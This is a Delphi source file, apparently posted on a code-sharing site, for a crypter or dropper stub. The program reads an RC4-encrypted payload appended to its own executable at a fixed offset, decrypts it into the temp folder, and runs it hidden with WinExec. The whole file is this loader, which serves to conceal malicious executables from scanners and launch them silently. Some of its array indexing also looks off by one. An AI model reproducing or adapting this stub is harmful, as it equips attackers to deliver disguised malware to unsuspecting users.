📄 project1.dpr
字号:
program Project1;
uses
Windows;
var
kbox: array[0..255] of byte;
sbox: array[0..255] of byte;
procedure RC4Init(Password: array of byte);
var
A, B, swap: integer;
size: integer;
begin
B := 0;
size := length(Password);
for A := 0 to 255 do
begin
kbox[A] := ord(Password[(A mod size) + 1]);
sbox[A] := A;
end;
for A := 0 to 255 do
begin
B := (B + sbox[A] + kbox[A]) mod 256;
swap := sbox[A];
sbox[A] := sbox[B];
sbox[B] := swap;
end;
end;
procedure RC4Cipher(Input: array of byte; var Output: array of byte);
var
A, B, C, D, E, swap: integer;
begin
B := 0;
C := 0;
for A := 0 to length(Input) do
begin
B := (B + 1) mod 256;
C := (C + sbox[B]) mod 256;
swap := sbox[B];
sbox[B] := sbox[C];
sbox[C] := swap;
D := sbox[(sbox[B] + sbox[C]) mod 256];
E := ord(Input[A]) xor D;
Output[A] := E;
end;
end;
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
Result := FileName;
end;
procedure Extract;
const
Password: array[0..255] of byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
var
InputData, OutputData: array[0..1023] of byte;
Input, Output: dword;
Bytes: dword;
TempPath: array[0..260] of char;
TempFile: pchar;
begin
RC4Init(Password);
GetTempPath(261, @TempPath);
TempFile := pchar(string(TempPath) + '\' + ExtractFileName(ParamStr(0)));
Input := CreateFile(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer(Input, 15872, nil, FILE_BEGIN);
Output := CreateFile(TempFile, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
repeat
ReadFile(Input, InputData, 1024, Bytes, nil);
RC4Cipher(InputData, OutputData);
WriteFile(Output, OutputData, Bytes, Bytes, nil);
until Bytes < 1024;
CloseHandle(Input);
CloseHandle(Output);
WinExec(TempFile, 0);
end;
begin
Extract;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -